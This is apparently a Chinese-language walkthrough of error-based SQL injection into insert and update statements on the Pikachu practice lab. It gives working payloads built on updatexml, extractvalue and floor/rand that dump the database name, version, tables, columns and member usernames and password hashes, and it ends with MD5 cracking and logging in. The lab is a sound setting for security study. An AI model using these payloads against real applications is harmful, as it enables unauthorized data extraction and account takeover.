一、insert注入
1.打开burpsuite抓一下注册的包
2.对红色圈圈里所提交的参数进行注入
常用函数符号:
(1)0x7e表示 ~符号
(2)database()显示出数据库名字
(3)version()显示出版本号
(4)user()显示出用户名
3.三种注入语句
(1)第一种注入语句:
' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.ta bles group by x)a) or '
(2)第二种注入语句
' or updatexml(1,concat(0x7e,version()),0) or '
(3)第三种注入语句
' or extractvalue(1,concat(0x7e,user())) or '
updatexml()和extractvalue()和concat()三种MySQL数据库函数
updatexml函数具有查询功能 并且会再xpath处查询 你将语法构造错误 然后它就会将他查询的结果已报错的形式
concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出查询结果
extractvalue()函数和updatexml类似。
(4)在上述后两个注入语句中
可以替换为database()替换为:
(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')
爆出表名:
爆出列名:
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='member')),0) or '
爆出密码和用户名:
可以这么构造语句:
先爆用户名
' or updatexml(1,concat(0x7e,(select concat(username,0x7e) from member limit 8,1)),0) or'
再爆密码进行md5解密(由于updatexml长度有限,需要截取两次查看完整密码)
' or updatexml(1,concat(0x7e,
substr((select pw from member limit 8,1)
,1,40)),3) or'
' or updatexml(1,concat(0x7e,
substr((select pw from member limit 8,1)
,4,40)),3) or'
之后拼接后进行md5解密
最后就可以进行登录了:
update与insert注入方式大致相同。